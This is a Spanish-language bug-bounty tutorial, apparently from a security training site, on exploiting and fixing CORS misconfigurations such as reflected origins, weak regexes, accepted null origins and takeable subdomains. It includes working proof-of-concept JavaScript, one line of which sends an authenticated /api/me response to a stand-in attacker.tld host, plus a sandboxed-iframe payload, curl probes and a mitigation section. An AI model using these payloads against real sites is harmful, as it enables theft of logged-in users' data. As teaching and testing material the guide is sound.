Respuesta rápida
CORS misconfig vulnerable cuando el servidor responde con Access-Control-Allow-Origin reflejando un origin arbitrario y al mismo tiempo Access-Control-Allow-Credentials: true. Permite a una página atacante leer responses autenticados de la víctima. Patrones explotables: reflejo dinámico, null aceptado, regex débil que matches subdominios atacante, trust en subdominios takeable.
Cómo funciona CORS (refresher)
CORS controla qué origins pueden leer responses cross-site. Para un request con cookies:
- El browser envía Origin del atacante.
- El servidor responde con
Access-Control-Allow-Origin(ACAO) yAccess-Control-Allow-Credentials(ACAC). - Si ACAO == origin del atacante AND ACAC == true → el JS atacante puede leer la response.
Regla: ACAO: * y ACAC: true no son compatibles (browser ignora). El atacante necesita que el server eche el origin específico + ACAC true.
Misconfigs explotables
1. Reflejo de cualquier Origin
Request:
GET /api/me HTTP/1.1
Origin: https://attacker.tld
Response:
Access-Control-Allow-Origin: https://attacker.tld
Access-Control-Allow-Credentials: true
Vector más común. El backend hace echo del header Origin sin validación. Cualquier página atacante con la víctima logueada lee /api/me con sus cookies.
PoC:
fetch("https://target.tld/api/me", { credentials: "include" })
.then(r => r.text())
.then(data => fetch("https://attacker.tld/leak", { method: "POST", body: data }));
2. Regex débil
Backend valida con regex que matches subdomains atacante:
if re.match(r"^https?://.*target\.tld$", origin): # ⚠️ falla
return origin
https://attacker.target.tld (subdomain takeover) o https://target.tld.attacker.tld matchean dependiendo del regex. Probar:
https://eviltarget.tld
https://target.tld.evil.tld
https://attacker.com/target.tld
https://target.tld%60.attacker.tld
https://target.tld.attacker.tld
3. null origin aceptado
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Browsers envían Origin: null cuando:
- Sandbox iframes sin
allow-same-origin. - File:// URIs.
- Documents from data: URIs.
Atacante:
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://target.tld/api/me', {credentials:'include'}).then(r=>r.text()).then(d=>parent.postMessage(d,'*'))</script>"></iframe>
El iframe sandboxed envía Origin: null → server responde con ACAO=null + ACAC=true → leak.
4. Trust en subdominio takeable
allowed = ["*.target.tld"] # acepta cualquier subdominio
Si cualquier subdominio (legacy.target.tld, static.target.tld, internal.target.tld) tiene subdomain takeover (DNS apunta a S3/Heroku/Github Pages que ya no existe), el atacante registra ese servicio y monta página en el subdominio.
Desde ese subdominio, fetch a target.tld/api/* con credentials → respuesta + ACAO match + ACAC true → ATO de cualquier user logueado.
5. Pre-flight bypass
Si el endpoint no requiere preflight (request "simple": GET/POST sin headers custom + ACAO matching), el browser ni siquiera consulta antes. Apps con endpoints sensibles vía POST simple son explotables sin que la víctima vea ni un OPTIONS.
6. Wildcard amplia
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browser ignora ACAC cuando ACAO=* (no se envían cookies). Pero a veces el endpoint sirve datos sensibles sin necesitar credentials (ej., si auth via API key en query string, o si endpoint internal). En ese caso ACAO: * solo basta para leak.
Cómo demostrar PoC
PoC mínima para reporte
HTML que sirves desde attacker.tld:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC</h1>
<div id="r">Loading...</div>
<script>
fetch("https://target.tld/api/me", { credentials: "include" })
.then(r => r.text())
.then(d => {
document.getElementById("r").textContent = d;
});
</script>
</body>
</html>
Pasos del reporter:
- Loguearse en
target.tld(cuenta de prueba). - Visitar
https://attacker.tld/cors-poc.html. - Screenshot del response autenticado mostrando email, ID, etc.
Hunting checklist
# Cambiar Origin y observar ACAO + ACAC
curl -H "Origin: https://evil.tld" -I https://target.tld/api/me
curl -H "Origin: null" -I https://target.tld/api/me
curl -H "Origin: https://target.tld.evil.tld" -I https://target.tld/api/me
curl -H "Origin: https://eviltarget.tld" -I https://target.tld/api/me
curl -H "Origin: https://target.tld%60.evil.tld" -I https://target.tld/api/me
Si ACAO refleja el Origin enviado AND ACAC=true → reportable. Confirmar con PoC funcional.
Patrones comunes en bug bounty
Apps con apis "internas" y "públicas"
api.target.tld(público, ACAO restrictivo).internal.target.tld(interno, sin CORS porque "no está enlazado").
Si internal.target.tld está en scope y responde con CORS abierto a propios subdominios, vector via subdomain takeover sigue.
CORS + Vary header
Si Vary: Origin no está, las CDN cachean responses con Origin específico → un user con Origin: target.tld recibe response cacheado para Origin: attacker.tld. Cache poisoning vector.
Credentials via Authorization header
Apps que mandan tokens con Authorization: Bearer ... (no cookies). El browser solo envía Authorization automáticamente si está en el header del fetch. Si la app guarda el token en localStorage y lo añade manualmente, una página atacante NO puede leerlo a menos que combine con XSS.
Pero si el fetch del frontend manda cookies (sesion) además del Authorization, el flujo cookies + CORS + ACAC se aplica igual.
Mitigación correcta
- Whitelist explícita (no regex):
allowed_origins = {"https://app.target.tld", "https://admin.target.tld"}
if origin in allowed_origins:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
- Vary: Origin siempre que el response cambie según Origin.
- Nunca ACAO=
null. - Nunca ACAO=
*con ACAC=true. - No confiar en subdominios salvo que tengas control DNS estricto.
Hunting checklist (rápido)
- ¿
curl -H "Origin: https://evil.tld" -Irefleja en ACAO? - ¿ACAC=true al mismo tiempo?
- ¿
Origin: nullaceptado? - ¿Hay endpoints sensibles sin preflight (GET/POST simple)?
- ¿Subdominios con CNAMEs olvidados (subdomain takeover)?
- ¿Vary: Origin presente para evitar cache poisoning?
Labs relacionados
Practica CORS reflejado, null origin, regex bypass y subdomain trust: labs de CORS.
Practica esto en un lab
Cors
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
El state parameter ausente, redirect_uri mal validado, response_type confusion. Cómo robar OAuth tokens y forzar account linking.
Zero-Click postMessage Origin Bypass — del canvas al credit drain
El listener de postMessage solo validaba un campo de e.data — controlado por el atacante. e.origin nunca se chequeaba. Desde un iframe cargado al abrir un bot, mensajes inyectados como si los hubiera escrito la víctima.